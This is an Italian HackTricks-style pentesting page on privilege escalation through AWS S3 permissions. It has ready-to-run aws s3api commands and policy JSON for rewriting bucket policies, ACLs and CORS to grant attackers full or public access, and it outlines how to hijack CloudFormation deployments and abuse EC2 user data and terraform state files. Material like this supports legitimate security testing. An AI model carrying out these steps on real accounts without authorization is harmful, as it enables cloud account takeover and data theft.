# AWS - S3 Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## S3

### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`

Un attaccante con quei permessi su bucket di interesse potrebbe essere in grado di dirottare risorse e ottenere l'elevazione dei privilegi.

Ad esempio, un attaccante con tali **permessi su un bucket cloudformation** chiamato "cf-templates-nohnwfax6a6i-us-east-1" sarà in grado di dirottare il deployment. L'accesso può essere concesso con la seguente policy:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
```
E l'hijack è possibile perché c'è una **piccola finestra temporale dal momento in cui il template viene caricato** nel bucket fino al momento in cui il **template viene deployato**. Un attacker potrebbe semplicemente creare una **lambda function** nel suo account che si **triggera quando viene inviata una bucket notification**, e che **hijacka** il **content** di quel **bucket**.

![](<../../../images/image (174).png>)

Il Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) può essere usato per automatizzare questo attacco.\
Per maggiori informazioni consulta la ricerca originale: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)

### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>

Queste sono le permissions per **get and upload objects to S3**. Diversi servizi dentro AWS (e fuori) usano lo storage S3 per conservare **file di configurazione**.\
Un attacker con **read access** a questi file potrebbe trovare **informazioni sensibili** al loro interno.\
Un attacker con **write access** potrebbe **modificare i dati per abusare di qualche servizio e provare a escalate privileges**.\
Ecco alcuni esempi:

- Se un EC2 instance salva gli **user data in a S3 bucket**, un attacker potrebbe modificarli per **execute arbitrary code inside the EC2 instance**.

### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file

È molto comune che i terraform state files siano salvati nello blob storage dei cloud provider, es. AWS S3. Il suffisso del file per uno state file è `.tfstate`, e i nomi dei bucket spesso rivelano che contengono terraform state files. Di solito, ogni AWS account ha un bucket di questo tipo per conservare gli state files che mostrano lo stato dell'account.
Inoltre, nella realtà quasi sempre tutti gli sviluppatori hanno `s3:*` e talvolta anche gli utenti business hanno `s3:Put*`.

Quindi, se hai le permissions elencate su questi file, esiste un vettore d'attacco che ti permette di ottenere RCE nella pipeline con i privilegi di `terraform` — nella maggior parte dei casi `AdministratorAccess`, rendendoti l'amministratore dell'account cloud. Inoltre, puoi usare quel vettore per effettuare un denial of service facendo in modo che `terraform` cancelli risorse legittime.

Segui la descrizione nella sezione *Abusing Terraform State Files* della pagina *Terraform Security* per codice exploit direttamente utilizzabile:

{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
{{#endref}}

### `s3:PutBucketPolicy`

Un attacker, che deve essere dallo stesso account (altrimenti verrà sollevato l'errore `The specified method is not allowed`), con questa permission sarà in grado di concedersi più permessi sul/i bucket permettendogli di leggere, scrivere, modificare, cancellare ed esporre i bucket.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`

Un attacker potrebbe abusare di queste autorizzazioni per **concedergli maggiore accesso** su specifici buckets.\
Nota che l'attacker non deve necessariamente far parte dello stesso account. Inoltre il write access
```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`

Un attacker potrebbe abusare di questi permessi per concedersi maggiore accesso a specifici objects all'interno dei buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`

Un attacker con questi privilegi dovrebbe essere in grado di impostare un Acl su una specifica versione dell'oggetto
```bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
```
### `s3:PutBucketCORS`

Un attaccante con il permesso s3:PutBucketCORS può modificare la configurazione CORS (Cross-Origin Resource Sharing) di un bucket, che controlla quali domini web possono accedere ai suoi endpoint. Se imposta una policy permissiva, qualsiasi sito web potrebbe effettuare richieste dirette al bucket e leggere le risposte da un browser.

Questo significa che, potenzialmente, se un utente autenticato di un'app web ospitata nel bucket visita il sito dell'attaccante, l'attaccante potrebbe sfruttare la policy CORS permissiva e, a seconda dell'applicazione, accedere ai dati del profilo dell'utente o addirittura dirottare il suo account.
```bash
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'
```
{{#include ../../../../banners/hacktricks-training.md}}
